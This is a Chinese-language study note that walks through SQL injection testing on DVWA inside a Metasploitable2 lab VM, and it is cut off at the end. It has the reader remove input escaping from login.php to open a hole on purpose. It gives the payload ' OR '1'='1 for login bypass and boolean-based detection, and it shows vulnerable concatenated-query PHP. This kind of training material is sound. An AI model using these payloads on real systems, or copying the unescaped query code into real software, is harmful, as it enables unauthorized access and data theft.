郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
SQL Injection -- DVWA环境测试
1 SQL Injection 概述
服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器;
SQL Injection 主要危害有:
- 榨取数据;
- 执行系统命令;
- 向数据库插入代码;
- 绕过登录验证。
2 环境准备
2.1 下载靶机
metasploitable-linux-2.0.0.zip
2.2 安装靶机
此处忽略,自行百度: 虚拟机安装 Metasploitable2 系统教程
2.3 修改 dvwa
下的 login.php
文件
// 修改 if 条件语句如下:
if( isset( $_POST[ 'Login' ] ) ) {
//
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );
$pass = $_POST[ 'password' ];
/* 注释以下内容
$pass = stripslashes( $pass ); // stripslashes() 函数删除反斜杠
$pass = mysql_real_escape_string( $pass ); // mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
// 受影响字符: \x00, \n, \r, \, ', ", \x1a
// 如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
$pass = md5( $pass ); // md5() 函数计算字符串的 MD5 散列。
*/
$qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
$result = @mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );
// if( $result && mysql_num_rows( $result ) == 1 ) { // Login Successful...
// 注释以上内容并复制,修改如下:
// mysql_num_rows( $result ) != 0 执行登陆绕过时,sql 结果为真,将打印出所有表内数据,此时行数可能会大于1。
if( $result && mysql_num_rows( $result ) != 0 ) {
// Login Successful...
dvwaMessagePush( "You have logged in as '".$user."'" );
dvwaLogin( $user );
dvwaRedirect( 'index.php' );
}
// Login failed1
dvwaMessagePush( "Login failed" );
dvwaRedirect( 'login.php' );
}
3 SQL Injection 绕过登陆验证测试
在不知道用户名或密码的情况下,通过SQL Injection 绕过登陆验证。直接在密码输入框中写入以下内容(用户名可写可不写):
' OR '1'='1
4 low 等级下 SQL Injection 检测方法测试
将 DVWA Security 等级修改为:low
通过上面 SQL Injection 绕过登陆验证测试
进入 DVWA
主界面下后,选择 SQL Injection
菜单
4.1 正常数据查询
在 User ID
下输入 ‘1’ , 测试查询 User ID 为 ‘1’ 的数据,输出如下:
ID: 1
First name: admin
Surname: admin
观察:此时浏览器 URL 变为:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
SQL实际查询脚本:
SELECT first_name, last_name FROM users WHERE user_id = '1';
4.2 基于报错的检测方法
一般来说,数据库都是使用单引号/双引号等进行闭合,如果直接输入一个单引号/双引号/百分号,数据库因为多出的输入字符导致无法闭合而报错。
在 User ID
下输入 '
, 测试查询 User ID 为 '
的数据,输出如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
由报错日志可知,该设备存在 SQL 注入漏洞。
观察:此时浏览器 URL 变为:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit#
SQL 实际查询脚本:
SELECT first_name, last_name FROM users WHERE user_id = ''';
4.3 基于布尔的检测
在 User ID
下输入 ' OR '1'='1
, 测试查询 User ID 为 '
的数据,输出如下:
ID: ' OR '1'='1
First name: admin
Surname: admin
...
由ID: ' OR '1'='1可知,该设备存在 SQL 注入漏洞。
SQL 实际查询脚本:
SELECT first_name, last_name FROM users WHERE user_id = '' OR '1'='1';
4.4 等级为 low 下的 SQL 相关 PHP 语句:
<?php
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last